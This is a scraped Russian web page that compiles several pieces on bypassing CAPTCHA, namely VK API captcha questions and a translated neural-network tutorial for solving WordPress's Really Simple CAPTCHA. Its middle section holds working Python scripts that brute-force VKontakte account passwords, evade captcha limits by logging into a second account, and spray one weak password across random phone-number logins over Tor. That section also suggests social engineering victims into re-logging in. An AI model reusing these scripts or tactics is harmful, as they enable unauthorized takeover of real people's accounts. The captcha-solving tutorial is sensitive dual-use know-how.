Как обойти капчу vk python
Перейти к содержимому

Как обойти капчу vk python

  • автор:

Captcha vk api python

Спустя пару десятков минут капча, конечно, сама исчезает, но это занимает относительно много времени. Вопрос, как реализовать передачу капчи мне, где я, получая её sid и img, возвращаю запрос обратно к вк Не смог разобраться в документации vk_api на этот счёт + не понял некоторые ответы на этот вопрос у других людей, поэтому прошу помощи у вас.
Кстати, если убрать except, то вылезет ошибка vk_api.exceptions.Captcha, но я не понимаю как мне из неё взять sid и img

Обход капчи при авторизации ВКонтакте

Не так давно начал учить Python и попробовал использовать VK API на Python. Поняв как это всё работает решил попробовать и использовал для этого Python модуль vk_api.

С помощью этого модуля можно легко авторизоваться в Вконтакте и так же просто пользоваться API:

import vk_api vk_session = vk_api.VkApi('79100000000', 'passwordA') vk_session.auth() 

Авторизация на страницу А прошла успешно, но после нескольких попыток авторизации неверным паролем выскакивает ошибка. Это капча.

Я использовал вторую страницу(В) в Вконтакте для авторизации, но после этой авторизации снова ввел логин для страницы А и неверный пароль, что в результате капча не появилась.

Далее сделал попытку подбора паролей для страницы А и написал следующий код:

import vk_api, os i = 0 # будем считывать пароли auth_i = 0 # будем считывать круги login_a = '79100000000' #логин к странице А login_b = '79200000000' #логин к странице В password_b = 'passwordB' #пароль к странице В password_file = "password.txt" # файл с паролями # читаем файл с паролями построчно with open('password_file.txt', 'r') as f: password = f.read().splitlines() while len(password) > i: # на каждые 6 раз авторизуемся, что бы избавиться от капчи if auth_i == 6: vk_session = vk_api.VkApi(login_b, password_b) vk_session.auth() os.system("rm vk_config.v2.json") auth_i=0 try: vk_sessions = vk_api.VkApi(login_a, password[i]) # делаем попытку авторизации vk_sessions.auth() print("[###]: "+password[i]) # если Успех, то выводим пароль except: print(password[i]) # если ошибка, то идем дальше считывая пароли auth_i+=1 i+=1 
qwerty321 #1 an199910 #2 10an10199 #3 . dxer19991 #53 . #60 

И в результате получил dxer19991 .

Таким способом можно перебрать ~60 паролей, а после выскакивает новая от Google.

Вроде не так страшно, но допустим у нас есть обычный юзер:

Павел Дуровский 1999.10.10 79200000000

Учитывая простоту человека, можно предположить, что его пароль состоит из выше перечисленных данных и составить такие пароли:

pasha1010 10101999pasha . 

И так составить примерно 60 паролей.

Если ни один пароль не совпал можно включить социальную инженерию и попросить юзера перезайти в свой аккаунт(или придумать другой способ, что бы юзер совершил это действие), а затем снова составить ~60 других паролей и снова начать подбирать их.

В результате нам удается подобрать ~120 паролей за 2 подхода, но можно и ещё если удастся попросить юзера переавторизоваться.

Кто сказал, что брутить можно только логин?

Из всего, что попробовал мне не понравились ограничения, по это этому решил подбирать логины по паролю и написал следующий код:

import vk_api, random, time, os i=0 codes = [900, 902, 903, 904, 905, 906, 908, 909, 950, 951, 953, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 980, 983, 986, 901, 904, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 950, 978, 980, 981, 982, 983, 984, 985, 987, 988, 989, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 936, 937, 938, 939, 950, 951, 999, 901, 952, 958, 977, 991, 992, 993, 994, 995, 996, 998] # операторы password = "12345678" # пароль по которому будем искать cod = "" #cod = "968" while True: try: if cod == "": login = "7"+str(codes[random.randint(0, len(codes))])+str(random.randint(1000000, 9999999)) else: login = "7"+cod+str(random.randint(1000000, 9999999)) except: print("Error creating login") try: vk_session = vk_api.VkApi(login, password) vk_session.auth() print("[TRUE]>>> login: "+login+" : "+"Password: "+password) file = open("bd.log", "a+") file.write("login: "+login+" "+"Password: "+password+"\n") file.close() i=0 except: if i == 10: # логин и пароль для сброса капчи vk_sessions = vk_api.VkApi('79200000000', "password") vk_sessions.auth() print("reCaptcha") os.system("rm vk_config.v2.json") i=0 else: print("=> "+login+" for "+password) i+=1 time.sleep(0.2) # машину жалко 

Ну а после я подключил Тор к консоли и запустил код.

Возможно и в первом варианте надо было подключить Тор к консоли. Но не факт, что получилось бы.

В итоге можно сказать, что пользователи с простыми и удобными паролями, могут быть в опасности.

Об этом решил сообщить в вк, но ответа всё ещё не получил.

Как обойти капчу в ВК?

Делаю мне надо, чтобы скрипт входил в вк, но выдаёт vk_api.exceptions.Captcha: Captcha needed .
Как обойти капчу?

from bs4 import BeautifulSoup import vk_api import requests from vk_api import VkApi vk_sess = VkApi('899987654321', '12345') vk_sess.auth() session = vk_sess.http print("vk")
  • Вопрос задан более года назад
  • 343 просмотра

Комментировать

Решения вопроса 1

dimon_9519 @dimon_9519

login = "89997776633" password = "Qwerty123" try: vk_session = vk_api.VkApi(login=login, password=password, captcha_handler=captcha_handler) vk_session.auth() vk_api_main = vk_session.get_api() id_account = vk_api_main .account.getProfileInfo()['id'] print(f'Авторизация прошла успешно, id аккаунта ') except Exception as exc: if 'Captcha' in str(exc): print('Нужен ввод капчи') def captcha_handler(captcha): """ При возникновении капчи вызывается эта функция и ей передается объект капчи. Через метод get_url можно получить ссылку на изображение. Через метод try_again можно попытаться отправить запрос с кодом капчи""" key = input(f'Введите код капчи, ссылка на изображение капчи : \n').strip() return captcha.try_again(key)

Ответ написан более года назад

Пример обхода капчи за 15 минут с помощью нейросети на Python

Как обойти капчу на примере самого используемого в мире плагина для WordPress Really Simple Captcha. Обход капчи на python довольно тривиальная задача, но получится ли это сделать за 15 минут?

Капча (CAPTCHA) — надоедливая картинка с текстом, которую надо ввести, чтобы попасть на сайт. Капчу придумали чтобы роботы не могли автоматически заполнять формы, и чтобы владельцы сайта были уверены, что пользователь — человек. С развитием машинного обучения и нейронных сетей, ее зачастую стало довольно просто обойти.

Я прочел отличную книгу: Deep Learning for Computer Vision with Python, которую написал Adrian Rosebrock. В этой книге Адриан описывает способ, которым он взломал капчу на сайте E-ZPass New York используя машинное обучение:

обход капчи на python

У Адриана не было доступа к исходному коду, генерирующему капчу. Чтобы обучить модель, ему пришлось скачать тысячи картинок и вручную разметить все надписи.

Но предположим, что мы хотим обойти капчу, к исходному коду которой у нас есть доступ.

Я зашел на WordPress.org Plugin Registry и ввел в поиске “captcha”. Первый результат назывался “Really Simple CAPTCHA” и установлен более миллиона раз.

really simple captcha

И самое крутое — он с открытыми исходниками! Раз у нас есть алгоритм, генерирующий картинку, его, должно быть, не сложно обойти. Чтобы было сложнее, ограничим себе время. Можно ли уложиться в 15 минут? Давайте попробуем!

Важное замечание: Это ни в коем случае не критика плагина “Really Simple CAPTCHA” или его автора. Сам автор указал, что плагин более не является надежным и рекомендует использовать что-нибудь другое. Это просто небольшой интересный челлендж. Если вы один из того миллиона пользователей, установивших его, то возможно вам стоит сменить данный плагин на что-нибудь другое ��

Челлендж: обход капчи на Python

Для начала посмотрим на изображения, создаваемые Really Simple CAPTCHA. На демке видим это:

demo

Итак, капча состоит из четырех букв. Убедимся в этом, посмотрев исходники:

public function __construct() < /* Characters available in images */ $this->chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789'; /* Length of a word in an image */ $this->char_length = 4; /* Array of fonts. Randomly picked up per character */ $this->fonts = array( dirname( __FILE__ ) . '/gentium/GenBkBasR.ttf', dirname( __FILE__ ) . '/gentium/GenBkBasI.ttf', dirname( __FILE__ ) . '/gentium/GenBkBasBI.ttf', dirname( __FILE__ ) . '/gentium/GenBkBasB.ttf', );

Да, действительно капча создается случайным образом из четырех букв или цифр с разными шрифтами. Символы “O”, “0”, “I”, “1” не используются, чтобы пользователь не путался. Остается 32 символа, которые нужно распознать. Не проблема!

Прошло: 2 минуты

Набор инструментов для решения капчи

Перед тем, как решать задачу, перечислим инструменты, которыми мы будем пользоваться:

Python 3

Python — простой и мощный язык программирования с отличными библиотеками для машинного обучения и машинного зрения.

OpenCV

Популярная библиотека для обработки изображений с поддержкой алгоритмов машинного зрения. Мы будем использовать ее для предварительной обработки капчи. OpenCV написана на C++, но все ее функции вызываются из питона, чем мы и будем пользоваться.

Keras

Фреймворк для машинного обучения, написанный на питоне. С его помощью легко строить, обучать и использовать нейронные сети. Требует минимального количества кода.

TensorFlow

Гугловская библиотека для машинного обучения. Мы будем пользоваться только Keras, но сам Keras в качестве бэкенда использует TensorFlow, поэтому его тоже придется установить.

Итак, обратно к задаче!

Создаем датасет

Чтобы собрать любую модель машинного обучения, требуются обучающие данные. Нам понадобятся данные, выглядящие следующим образом:

input-output

Так как у нас есть исходный код плагина, создающего капчу, мы можем его использовать, чтобы нагенерировать 10,000 изображений, и для каждого будет известна расшифровка.

Пару минут повозившись с кодом и добавив в него простой цикл ‘for’, я получил папку с обучающими данными — 10,000 PNG файлов, в названии которых указан правильный ответ:

CAPTCHA

В этом и только в этом месте я не дам вам рабочий пример кода. Мы делаем это в образовательных целях, и мне не хочется, чтобы вы заспамили реальные сайты, работающие на WordPress. Вместо этого, я дам ссылку на 10,000 изображений, сделанных мной, чтобы вы могли повторить мой результат.

Обход капчи на python: упрощаем задачу

Теперь, когда есть обучающие данные, мы могли бы их использовать напрямую, обучив по ним нейросеть:

Deep CNN

С достаточным количеством данных, этот подход мог бы даже сработать. Но можно сделать решение капчи на python проще. Чем проще задача, тем меньше нам понадобится обучающих данных и вычислительных ресурсов, чтобы ее решить. У нас ведь всего лишь 15 минут!

К счастью, капча состоит всего из четырех символов. Если как-нибудь разделить ее так, чтобы каждая буква была отдельным изображением, то можно будет обучить нейросеть распознавать по одному символу за раз:

Training CNN

У меня нет времени разрезать каждую из 10,000 картинок в фотошопе. Это бы заняло несколько дней, а у меня осталось всего 10 минут. И нельзя просто автоматически разделить все картинки на 4 одинаковых куска. Потому что алгоритм задает символам случайное горизонтальное положение:

Символы сдвинуты случайным образом, чтобы изображение было сложнее разделить.

К счастью, это всё же можно автоматизировать. При обработке изображений часто приходится находить связные области из пикселей одного цвета. Границы таких областей называют контурами. В OpenCV есть встроенная функция findContours(), которую мы используем, чтобы найти связные области.

Итак, начнем с изображения капчи:

captcha image

Преобразуем изображение в бинарное (это называется thresholding), чтобы было легче найти связные области:

thresholding

Далее, используем функцию findContours(), чтобы выделить связные группы пикселей, состоящие из одного цвета:

findContours

Теперь, нужно просто сохранить каждый прямоугольник как отдельное изображение. И, так как мы знаем последовательность символов в каждом изображении, можно подписать каждый прямоугольник своим символом при сохранении.

Погодите-ка! Тут есть проблемка! Буквы в капче иногда накладываются друг на друга:

problem

И наш алгоритм отмечает их как одну:

problem 2

Если проблему не решить, то у нас будут плохие обучающие данные. Это нужно исправить, потому что с такими данными мы обучим модель распознавать эти две слившиеся буквы как одну.

Простой выход из этой ситуации сказать, что если какой-то прямоугольник в ширину сильно больше, чем в высоту, то это нужно считать двумя буквами. В этом случае, прямоугольник можно просто разрезать посередине и считать, что это два прямоугольника:

problem solving

Мы разделим пополам все прямоугольники, ширина которых сильно превышает высоту, и будем считать их за две буквы. Способ слегка “химический”, но с этими капчами работает.

Теперь, когда у нас есть способ извлекать из капчи отдельные буквы, давайте прогоним наш алгоритм через весь датасет. Цель — получить много вариантов написания для каждой буквы. Каждую букву можно сохранять в отдельную папку.

Вот так выглядит моя папка с буквой “W” после того, как я запустил свой алгоритм:

captcha W

Некоторые буквы “W”, вытащенные из наших 10,000 изображений. У меня всего получилось 1,147 разных “W”.

Прошло: 10 минут…

Создаем и обучаем нейросеть

Так как нам нужно всего лишь распознавать одну букву или цифру, нейросеть со сложной архитектурой не потребуется. Распознавание символов — это гораздо более простая задача, чем распознавание сложных изображений, к примеру, кошек и собак.

Будем использовать простую сверточную нейросеть с двумя сверточными (convolutional) слоями и двумя полносвязными (dense):

CNN Layers

Задать архитектуру нейросети используя Keras можно всего в несколько строк:

# Build the neural network! model = Sequential() # First convolutional layer with max pooling model.add(Conv2D(20, (5, 5), padding="same", input_shape=(20, 20, 1), activation="relu")) model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2))) # Second convolutional layer with max pooling model.add(Conv2D(50, (5, 5), padding="same", activation="relu")) model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2))) # Hidden layer with 500 nodes model.add(Flatten()) model.add(Dense(500, activation="relu")) # Output layer with 32 nodes (one for each possible letter/number we predict) model.add(Dense(32, activation="softmax")) # Ask Keras to build the TensorFlow model behind the scenes model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])

Теперь можно обучать нейросеть!

# Train the neural network model.fit(X_train, Y_train, validation_data=(X_test, Y_test), batch_size=32, epochs=10, verbose=1)

После 10 прогонов по всему обучающему набору, мы достигаем точности почти в 100%. В начале мы ставили задачу обойти капчу на python. И мы это сделали!

Прошло: 15 минут (фух!)

Используем обученную модель для обхода капчи

Теперь, когда нейросеть обучена, ее можно использовать для взлома капчи:

  1. Взять изображение капчи с сайта, который использует этот плагин.
  2. Разбить картинку на четыре части, на каждой из которых по одному символу.
  3. Прогнать каждую часть через нейросеть.
  4. Использовать выданные нейросетью буквы, чтобы решить капчу.
  5. PROFIT!

Вот так выглядит расшифровка реальной капчи:

А в командной строке вот так:

Попробовать самому!

Если хотите попробовать сами, то возьмите код здесь. Он включает 10,000 картинок и код для каждого шага в этой статье. Инструкция к запуску в файле README.md.

Но если хочется вникнуть и понять, что делает каждая строчка кода, советую купить книгу Deep Learning for Computer Vision with Python. Она содержит более детальное объяснение и кучу разобранных примеров. Это единственная книга из тех что я видел, в которой объясняется и как это работает, и как это использовать, чтобы решать реальные и сложные задачи. Рекомендую!

Разгадать капчу с помощью AI поможет сервис Capsolver.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *